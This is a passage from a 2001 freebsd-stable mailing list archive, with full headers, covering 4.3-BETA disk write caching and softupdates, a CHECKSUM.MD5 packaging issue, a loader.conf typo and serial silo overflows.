few options. All of them, unfortunately, involve buying more hardware. Which is exactly why I said what I said and why I grew sick of manufactures hyping new transfer standards when no drives could hardly saturate the previous standard and end lusers think there was something to gain with their old drives on new controllers. >1. Buy a drive with faster to and from media characteristics. Higher >drive rpm, and higher data density will contribute to this to a degree. > >2. Set up a RAID, either through outlay of some $$ for a hardware >controller, or by using vinum. You forgot or don't know about: 3) Consider using only one drive per controller for maximum performance. Jeff Mountin - jeff@mountin.net Systems/Network Administrator FreeBSD - the power to serve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 23:41:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 2D33F37B71A for ; Mon, 12 Mar 2001 23:41:18 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2D7eCH12081; Mon, 12 Mar 2001 23:40:12 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: CGiordano@ids.net Cc: stable@FreeBSD.ORG Subject: Re: Typo in latest sys/boot/forth/loader.conf In-Reply-To: <3AADCDB4.5C668D80@ids.net> References: <3AADCDB4.5C668D80@ids.net> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010312234012N.jkh@osd.bsdi.com> Date: Mon, 12 Mar 2001 23:40:12 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 3 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks, fixed. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 23:54:17 2001 Delivered-To: freebsd-stable@freebsd.org Received: from research.gate.nec.co.jp (research.gate.nec.co.jp [202.247.6.217]) by hub.freebsd.org (Postfix) with ESMTP id 3548337B71C for ; Mon, 12 Mar 2001 23:54:15 -0800 (PST) (envelope-from hino@nwk.cl.nec.co.jp) Received: from leek.nwk.cl.nec.co.jp (IDENT:/gsGGWL+gmnpp/DfLlCDebsvyAk2yo8l@leek.nwk.cl.nec.co.jp [10.56.32.7]) by research.gate.nec.co.jp (8.9.3+3.2W/000323) with ESMTP id QAA14096 for ; Tue, 13 Mar 2001 16:54:13 +0900 (JST) Received: from localhost by leek.nwk.cl.nec.co.jp (8.11.2/NWK_M-20010214) with ESMTP id f2D7sDi33140 for ; Tue, 13 Mar 2001 16:54:13 +0900 (JST) To: stable@FreeBSD.ORG Subject: Minor problem of CHECKSUM.MD5 From: hino@ccm.cl.nec.co.jp X-Mailer: Mew version 1.93 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010313165413B.hino@nwk.cl.nec.co.jp> Date: Tue, 13 Mar 2001 16:54:13 +0900 X-Dispatcher: imput version 980905(IM100) Lines: 7 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For a long time (since 4.1.1R?), with FreeBSD's release distribution, CHECKSUM.MD5 in src and crypto have a minor problem: ssecure.*, scrypto.*, skrb4.*, skrb5.* are located at crypto, but md5 checksums of these files are in the src/CHECKSUM.MD5 src/release/Makefile should be changed to manage this... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 0: 0: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 6636437B718 for ; Tue, 13 Mar 2001 00:00:00 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2D7wrH12223; Mon, 12 Mar 2001 23:58:53 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: hino@ccm.cl.nec.co.jp Cc: stable@FreeBSD.ORG Subject: Re: Minor problem of CHECKSUM.MD5 In-Reply-To: <20010313165413B.hino@nwk.cl.nec.co.jp> References: <20010313165413B.hino@nwk.cl.nec.co.jp> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010312235853N.jkh@osd.bsdi.com> Date: Mon, 12 Mar 2001 23:58:53 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 4 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I believe that's already fixed - are you talking about today's -stable? - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 0:13:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from research.gate.nec.co.jp (research.gate.nec.co.jp [202.247.6.217]) by hub.freebsd.org (Postfix) with ESMTP id E46C237B718 for ; Tue, 13 Mar 2001 00:13:39 -0800 (PST) (envelope-from hino@nwk.cl.nec.co.jp) Received: from leek.nwk.cl.nec.co.jp (IDENT:8prKdeWWqW/4RSkdMSP2rXqGIdpMjsQm@leek.nwk.cl.nec.co.jp [10.56.32.7]) by research.gate.nec.co.jp (8.9.3+3.2W/000323) with ESMTP id RAA16534; Tue, 13 Mar 2001 17:13:38 +0900 (JST) Received: from localhost by leek.nwk.cl.nec.co.jp (8.11.2/NWK_M-20010214) with ESMTP id f2D8Dci33809; Tue, 13 Mar 2001 17:13:38 +0900 (JST) To: jkh@osd.bsdi.com Cc: stable@FreeBSD.ORG Subject: Re: Minor problem of CHECKSUM.MD5 From: hino@ccm.cl.nec.co.jp X-In-Reply-To: jkh@osd.bsdi.com's message of "Mon, 12 Mar 2001 23:58:53 -0800" In-Reply-To: <20010312235853N.jkh@osd.bsdi.com> References: <20010312235853N.jkh@osd.bsdi.com> X-Mailer: Mew version 1.93 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010313171338G.hino@nwk.cl.nec.co.jp> Date: Tue, 13 Mar 2001 17:13:38 +0900 X-Dispatcher: imput version 980905(IM100) Lines: 13 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> On Mon, 12 Mar 2001 23:58:53 -0800, Jordan Hubbard >> said: :> I believe that's already fixed - are you talking about today's :> -stable? I'm looking 4.3-BETA (and watching today's CVS log web page). src/release/Makefile Revision 1.536.2.34 seems to fix about krb4.* and krb5.*, but not about skrb4.*, skrb5.*, scrypto.*, ssecure.* Is this my misunderstanding? Koji HINO To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 0:24:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from updraft.jp.freebsd.org (updraft.jp.FreeBSD.ORG [210.157.158.42]) by hub.freebsd.org (Postfix) with ESMTP id CA60D37B71A for ; Tue, 13 Mar 2001 00:24:15 -0800 (PST) (envelope-from matusita@jp.FreeBSD.org) Received: from localhost (localhost [127.0.0.1]) by updraft.jp.freebsd.org (8.11.3+3.4W/8.11.3) with ESMTP/inet id f2D8O5248297; Tue, 13 Mar 2001 17:24:06 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: stable@FreeBSD.ORG In-Reply-To: <20010312235853N.jkh@osd.bsdi.com> References: <20010313165413B.hino@nwk.cl.nec.co.jp> <20010313165413B.hino@nwk.cl.nec.co.jp> <20010312235853N.jkh@osd.bsdi.com> X-Face: '*aj"d@ijeQ:/X}]oM5c5Uz{ZZZk90WPt>a^y4$cGQp8:!H\W=hSM;PuNiidkc]/%,;6VGu e+`&APmz|P;F~OL/QK%;P2vU>\j4X.8@i%j6[%DTs_3J,Fff0)*oHg$A.cDm&jc#pD24WK@{,"Ef!0 P\):.2}8jo-BiZ?X&t$V X-User-Agent: Mew/1.94.2 XEmacs/21.2 (Poseidon) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 9 From: Makoto MATSUSHITA To: jkh@osd.bsdi.com Subject: Re: Minor problem of CHECKSUM.MD5 Date: Tue, 13 Mar 2001 17:23:42 +0900 Message-Id: <20010313172342L.matusita@jp.FreeBSD.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG jkh> I believe that's already fixed - are you talking about today's - jkh> stable? It's fixed, but src/CHECKSUM.MD5 does contain skrb4.* and skrb5.* entries which is no longer in src/ distribution. -- - Makoto `MAR' MATSUSHITA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 0:32:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from c000.sfo.cp.net (c004-h009.c004.snv.cp.net [209.228.33.73]) by hub.freebsd.org (Postfix) with SMTP id ADCB637B71A for ; Tue, 13 Mar 2001 00:32:51 -0800 (PST) (envelope-from psglenn@uswestmail.net) Received: (cpmta 21418 invoked from network); 13 Mar 2001 00:32:51 -0800 Date: 13 Mar 2001 00:32:51 -0800 Message-ID: <20010313083251.21417.cpmta@c000.sfo.cp.net> X-Sent: 13 Mar 2001 08:32:51 GMT Received: from [64.40.51.216] by mail.uswestmail.net with HTTP; 13 Mar 2001 00:32:51 PST Content-Type: text/plain Content-Disposition: inline Mime-Version: 1.0 To: freebsd-stable@freebsd.org From: psglenn@uswestmail.net X-Mailer: Web Mail 3.7.1.9 Subject: Silo overflows Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I have been seeing many silo overflows lately. I'm running yesterday's 4.3 BETA and tracking stable. I've seen some mail about this problem so I send this info. bash-2.04$ uname -a FreeBSD big.psf.his.org 4.3-BETA FreeBSD 4.3-BETA #7: Sat Mar 10 15:21:53 PST 2001 root@big.psf.his.org:/usr/src/sys/compile/BIG i386 bash-2.04$ dmesg Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #7: Sat Mar 10 15:21:53 PST 2001 root@big.psf.his.org:/usr/src/sys/compile/BIG Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 400910654 Hz CPU: Pentium II/Pentium II Xeon/Celeron (400.91-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183f9ff real memory = 234881024 (229376K bytes) avail memory = 225132544 (219856K bytes) Preloaded elf kernel "kernel" at 0xc0376000. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 irq 10 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xffa0-0xffaf irq 0 at device 15.0 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 dc0: <82c169 PNIC 10/100BaseTX> port 0xde00-0xdeff mem 0xdfffff00-0xdfffffff irq 9 at device 18.0 on pci0 dc0: Ethernet address: **:**:**:**:**:** miibus0: on dc0 ukphy0: on miibus0 ukphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 pcm0: at port 0x530-0x537,0x388-0x38f irq 11 drq 0 on isa0 unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources ad0: 8223MB [16708/16/63] at ata0-master UDMA33 acd0: CDROM at ata1-slave using UDMA33 Mounting root from ufs:/dev/ad0s1a dc0: failed to force tx and rx to idle state dc0: failed to force tx and rx to idle state dc0: failed to force tx and rx to idle state sio1: 1 more silo overflow (total 1) sio1: 1 more silo overflow (total 2) sio1: 1 more silo overflow (total 3) sio1: 1 more silo overflow (total 353) sio1: 1 more silo overflow (total 354) sio1: 2 more silo overflows (total 356) The above info is after two days 8:40 uptime. Ive been installing ports through my US-Robtics modem 10 or 20 meg per day or so. I found somthing on netbsd's kernel that allowed tuning of the fifo in their kernel but LINT kernel-config doesn't seem to mention anything I was hoping to find somthing in sysctl I could tweak but no luck so far. I think I've seen this since 4.0-RELEASE when I started running freebsd. There is a way that seemeth right unto a man, but the end thereof are the ways of death. Pv14:12,pv16:25 Signup for your free USWEST.mail Email account http://www.uswestmail.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 0:48:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from gw-nl1.origin-it.com (gw-nl1.origin-it.com [193.79.128.34]) by hub.freebsd.org (Postfix) with ESMTP id EE95E37B718; Tue, 13 Mar 2001 00:48:33 -0800 (PST) (envelope-from Helge.Oldach@de.origin-it.com) Received: from mail.de.origin-it.com (localhost.origin-it.com [127.0.0.1]) by gw-nl1.origin-it.com with ESMTP id JAA15378; Tue, 13 Mar 2001 09:48:31 +0100 (MET) (envelope-from Helge.Oldach@de.origin-it.com) Received: from smtprelay-de1.origin-it.com(172.16.188.53) by gw-nl1.origin-it.com via mwrap (4.0a) id xma015371; Tue, 13 Mar 01 09:48:31 +0100 Received: from mailhub.de.origin-it.com (mailhub.de.origin-it.com [172.16.189.20]) by mail.de.origin-it.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id JAA29883; Tue, 13 Mar 2001 09:48:30 +0100 (MET) Received: from galaxy.de.cp.philips.com (galaxy.de.cp.philips.com [130.143.166.29]) by mailhub.de.origin-it.com (8.11.2/8.11.2/hmo23oct00) with ESMTP id f2D8mRG94319; Tue, 13 Mar 2001 09:48:28 +0100 (CET) (envelope-from Helge.Oldach@de.origin-it.com) Received: (from hmo@localhost) by galaxy.de.cp.philips.com (8.9.3/8.9.3/hmo14aug98) id JAA08707; Tue, 13 Mar 2001 09:48:27 +0100 (MET) Message-Id: <200103130848.JAA08707@galaxy.de.cp.philips.com> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <20010312140636.A18351@fw.wintelcom.net> from Alfred Perlstein at "Mar 12, 2001 2: 6:36 pm" To: bright@wintelcom.net (Alfred Perlstein) Date: Tue, 13 Mar 2001 09:48:26 +0100 (MET) Cc: oberman@es.net, sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG From: Helge Oldach X-Address: Atos Origin GmbH, Billstrasse 80, D-20539 Hamburg, Germany X-Phone: +49 40 7886 464, Fax: +49 40 7886 235, Mobile: +49 160 4782517 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alfred Perlstein: >* Kevin Oberman [010312 13:46] wrote: >> How serious is the possible corruption issue, anyway. The loss in >> performance is pretty drastic although it may be that dd is an >> especially bad case, but I really don't like to corrupt my disks, >> either. > >If basically running with blind write caching turned on is akin to >running your filesystem in async mode. This is because write >caching gives the drive license to lie about completing a write, >the various ordering of writes are effectively bypassed. If you >crash without these dependancies actually written to the disk, when >you come back up you have a good chance of losing large portions >of your filesystem. I'd say this is a bit too pessimistic. There is a fundamental difference between softupdates and ATA write-cacheing: Softupdates holds the async data in main RAM while ATA write-cacheing already has it in the (cache memory of the) disk device. Obviously a power outage would affect both situations in a similar way. But during just an operating system crash (assuming power stays up), one should be better off with ATA write-cacheing, as the disk should be able to dump the data from the cache chips to the physical medium. With softupdates async data is just lost. Generally I'd say it's not a bad idea to have write caching on the disk enabled - assuming that it is decently implemented. BTW, don't SCSI disks use write cacheing as well? :-) Just my 2¢, Helge To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 0:59:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 0868C37B718; Tue, 13 Mar 2001 00:59:32 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2D8wBX10760; Tue, 13 Mar 2001 00:58:11 -0800 (PST) Date: Tue, 13 Mar 2001 00:58:11 -0800 From: Alfred Perlstein To: Helge Oldach Cc: oberman@es.net, sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010313005811.J29888@fw.wintelcom.net> References: <20010312140636.A18351@fw.wintelcom.net> <200103130848.JAA08707@galaxy.de.cp.philips.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103130848.JAA08707@galaxy.de.cp.philips.com>; from Helge.Oldach@de.origin-it.com on Tue, Mar 13, 2001 at 09:48:26AM +0100 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Helge Oldach [010313 00:48] wrote: > Alfred Perlstein: > >* Kevin Oberman [010312 13:46] wrote: > >> How serious is the possible corruption issue, anyway. The loss in > >> performance is pretty drastic although it may be that dd is an > >> especially bad case, but I really don't like to corrupt my disks, > >> either. > > > >If basically running with blind write caching turned on is akin to > >running your filesystem in async mode. This is because write > >caching gives the drive license to lie about completing a write, > >the various ordering of writes are effectively bypassed. If you > >crash without these dependancies actually written to the disk, when > >you come back up you have a good chance of losing large portions > >of your filesystem. > > I'd say this is a bit too pessimistic. There is a fundamental difference > between softupdates and ATA write-cacheing: Softupdates holds the async > data in main RAM while ATA write-cacheing already has it in the (cache > memory of the) disk device. > > Obviously a power outage would affect both situations in a similar way. > But during just an operating system crash (assuming power stays up), > one should be better off with ATA write-cacheing, as the disk should be > able to dump the data from the cache chips to the physical medium. With > softupdates async data is just lost. > > Generally I'd say it's not a bad idea to have write caching on the disk > enabled - assuming that it is decently implemented. BTW, don't SCSI > disks use write cacheing as well? :-) I'm pretty sure you're wrong. I'm not 100% certain, but many people working with embedded systems have explained to me that it's no longer safe to assume that write cached data will be sync'd to the disk's media at crash time. First off, some disk caches are getting > 10megs, that's a lot of potnetial seeking after loosing power depending on the cache contents... (Also, Matt Dillon wrote how some disks can hold data in the write cache for indefinite amounts of time) Basically, from what's been explained to me, modern disks only retain enough charge/momentum to park (retract) the disk heads when a power outtage occurs, not to write out the cache contents. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1: 7:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from gw-nl1.origin-it.com (gw-nl1.origin-it.com [193.79.128.34]) by hub.freebsd.org (Postfix) with ESMTP id F195037B718; Tue, 13 Mar 2001 01:07:27 -0800 (PST) (envelope-from Helge.Oldach@de.origin-it.com) Received: from mail.de.origin-it.com (localhost.origin-it.com [127.0.0.1]) by gw-nl1.origin-it.com with ESMTP id KAA26098; Tue, 13 Mar 2001 10:07:15 +0100 (MET) (envelope-from Helge.Oldach@de.origin-it.com) Received: from smtprelay-de1.origin-it.com(172.16.188.53) by gw-nl1.origin-it.com via mwrap (4.0a) id xma026082; Tue, 13 Mar 01 10:07:19 +0100 Received: from mailhub.de.origin-it.com (mailhub.de.origin-it.com [172.16.189.20]) by mail.de.origin-it.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id KAA01308; Tue, 13 Mar 2001 10:07:12 +0100 (MET) Received: from galaxy.de.cp.philips.com (galaxy.de.cp.philips.com [130.143.166.29]) by mailhub.de.origin-it.com (8.11.2/8.11.2/hmo23oct00) with ESMTP id f2D975G94966; Tue, 13 Mar 2001 10:07:06 +0100 (CET) (envelope-from Helge.Oldach@de.origin-it.com) Received: (from hmo@localhost) by galaxy.de.cp.philips.com (8.9.3/8.9.3/hmo14aug98) id KAA08943; Tue, 13 Mar 2001 10:07:04 +0100 (MET) Message-Id: <200103130907.KAA08943@galaxy.de.cp.philips.com> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <20010313005811.J29888@fw.wintelcom.net> from Alfred Perlstein at "Mar 13, 2001 0:58:11 am" To: bright@wintelcom.net (Alfred Perlstein) Date: Tue, 13 Mar 2001 10:07:03 +0100 (MET) Cc: oberman@es.net, sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG From: Helge Oldach X-Address: Atos Origin GmbH, Billstrasse 80, D-20539 Hamburg, Germany X-Phone: +49 40 7886 464, Fax: +49 40 7886 235, Mobile: +49 160 4782517 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alfred Perlstein: >* Helge Oldach [010313 00:48] wrote: >> Alfred Perlstein: >> >If basically running with blind write caching turned on is akin to >> >running your filesystem in async mode. This is because write >> >caching gives the drive license to lie about completing a write, >> >the various ordering of writes are effectively bypassed. If you >> >crash without these dependancies actually written to the disk, when >> >you come back up you have a good chance of losing large portions >> >of your filesystem. >> >> I'd say this is a bit too pessimistic. There is a fundamental difference >> between softupdates and ATA write-cacheing: Softupdates holds the async >> data in main RAM while ATA write-cacheing already has it in the (cache >> memory of the) disk device. >> >> Obviously a power outage would affect both situations in a similar way. >> But during just an operating system crash (assuming power stays up), >> one should be better off with ATA write-cacheing, as the disk should be >> able to dump the data from the cache chips to the physical medium. With >> softupdates async data is just lost. >> >> Generally I'd say it's not a bad idea to have write caching on the disk >> enabled - assuming that it is decently implemented. BTW, don't SCSI >> disks use write cacheing as well? :-) > >I'm pretty sure you're wrong. I think you misunderstood my argument. Agreed, there is practically no difference in the damage done to softupdates versus write-cacheing during a power outage. But there should be a difference when the OS dies away while power stays up. The OS dying away means that the disk has lots of time to spill out the cached data to the physical medium as it's no longer banged at high data rates by the host. So at least in theory we should be better off in this situation. >I'm not 100% certain, but many people working with embedded systems >have explained to me that it's no longer safe to assume that write >cached data will be sync'd to the disk's media at crash time. That may be correct. But then this breaks my naive understanding of "write caching"... And again: Isn't write-cacheing turned on on SCSI disks? :-) Helge To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:10:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id 3D0F937B71B for ; Tue, 13 Mar 2001 01:10:43 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 69166 invoked by uid 100); 13 Mar 2001 09:10:42 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15021.58386.377695.943846@guru.mired.org> Date: Tue, 13 Mar 2001 03:10:42 -0600 To: Helge Oldach Cc: bright@wintelcom.net (Alfred Perlstein), oberman@es.net, sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <200103130848.JAA08707@galaxy.de.cp.philips.com> References: <20010312140636.A18351@fw.wintelcom.net> <200103130848.JAA08707@galaxy.de.cp.philips.com> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Helge Oldach types: > Generally I'd say it's not a bad idea to have write caching on the disk > enabled - assuming that it is decently implemented. BTW, don't SCSI > disks use write cacheing as well? :-) Yes, they do. And it's recommended that you turn it off if you turn on softupdates. The driver doesn't do it for you, though. I'd be interested to know details about why softupdates makes it more critical to have write caching off. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:30:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 1296937B725; Tue, 13 Mar 2001 01:30:40 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2D9TJt11526; Tue, 13 Mar 2001 01:29:19 -0800 (PST) Date: Tue, 13 Mar 2001 01:29:19 -0800 From: Alfred Perlstein To: Helge Oldach Cc: oberman@es.net, sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010313012919.K29888@fw.wintelcom.net> References: <20010313005811.J29888@fw.wintelcom.net> <200103130907.KAA08943@galaxy.de.cp.philips.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103130907.KAA08943@galaxy.de.cp.philips.com>; from Helge.Oldach@de.origin-it.com on Tue, Mar 13, 2001 at 10:07:03AM +0100 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Helge Oldach [010313 01:07] wrote: > Alfred Perlstein: > >* Helge Oldach [010313 00:48] wrote: > >> Alfred Perlstein: > >> >If basically running with blind write caching turned on is akin to > >> >running your filesystem in async mode. This is because write > >> >caching gives the drive license to lie about completing a write, > >> >the various ordering of writes are effectively bypassed. If you > >> >crash without these dependancies actually written to the disk, when > >> >you come back up you have a good chance of losing large portions > >> >of your filesystem. > >> > >> I'd say this is a bit too pessimistic. There is a fundamental difference > >> between softupdates and ATA write-cacheing: Softupdates holds the async > >> data in main RAM while ATA write-cacheing already has it in the (cache > >> memory of the) disk device. > >> > >> Obviously a power outage would affect both situations in a similar way. > >> But during just an operating system crash (assuming power stays up), > >> one should be better off with ATA write-cacheing, as the disk should be > >> able to dump the data from the cache chips to the physical medium. With > >> softupdates async data is just lost. > >> > >> Generally I'd say it's not a bad idea to have write caching on the disk > >> enabled - assuming that it is decently implemented. BTW, don't SCSI > >> disks use write cacheing as well? :-) > > > >I'm pretty sure you're wrong. > > I think you misunderstood my argument. Agreed, there is practically > no difference in the damage done to softupdates versus write-cacheing > during a power outage. huh? I'm confused about "softupdates versus write-cacheing". > But there should be a difference when the OS dies away while power stays > up. The OS dying away means that the disk has lots of time to spill out > the cached data to the physical medium as it's no longer banged at high > data rates by the host. So at least in theory we should be better off in > this situation. No we shouldn't! Either way we should have a consistant filesystem. > >I'm not 100% certain, but many people working with embedded systems > >have explained to me that it's no longer safe to assume that write > >cached data will be sync'd to the disk's media at crash time. > > That may be correct. But then this breaks my naive understanding of > "write caching"... > > And again: Isn't write-cacheing turned on on SCSI disks? :-) It's suggested that it be turned off, see Justin's answers to my previous questions. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:34:27 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id C6A5E37B71E; Tue, 13 Mar 2001 01:34:21 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2D9X1N11667; Tue, 13 Mar 2001 01:33:01 -0800 (PST) Date: Tue, 13 Mar 2001 01:33:01 -0800 From: Alfred Perlstein To: Mike Meyer Cc: Helge Oldach , oberman@es.net, 